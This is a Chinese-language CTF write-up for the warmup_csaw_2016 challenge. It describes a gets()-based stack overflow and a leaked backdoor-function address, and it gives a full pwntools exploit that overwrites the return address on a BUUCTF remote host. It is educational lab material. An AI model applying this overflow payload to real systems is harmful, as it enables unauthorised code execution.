warmup_csaw_2016
使用checksec查看:

保护措施全部关闭。
放进IDA中分析:

sprintf(&s, "%p\n", sub_40060D);:直接打印出了函数sub_40060D的地址。return gets(&v5, ">");:存在栈溢出
sub_40060D():

- 存在后门函数
步骤解析
程序会输出后门函数的地址,直接拿来使用。
不存在Canary,栈溢出直接覆盖返回地址。
完整exp
from pwn import *
# r = process("../buu/warmup_csaw_2016")
r = remote("node4.buuoj.cn",28223)
addr = 0x40060D
payload = b'M'*(0x40+8) + p64(addr)
r.recv()
r.sendline(payload)
r.interactive()
这篇博客详细解析了一个名为Warmup_csaw_2016的程序,展示了如何通过checksec工具发现无保护措施,并利用sprintf和gets漏洞进行栈溢出攻击。特别关注了后门函数的存在,以及缺乏Canary导致的地址暴露。作者提供了完整的exploit代码,展示了从地址获取到交互式的攻击过程。
1666

被折叠的 条评论
为什么被折叠?



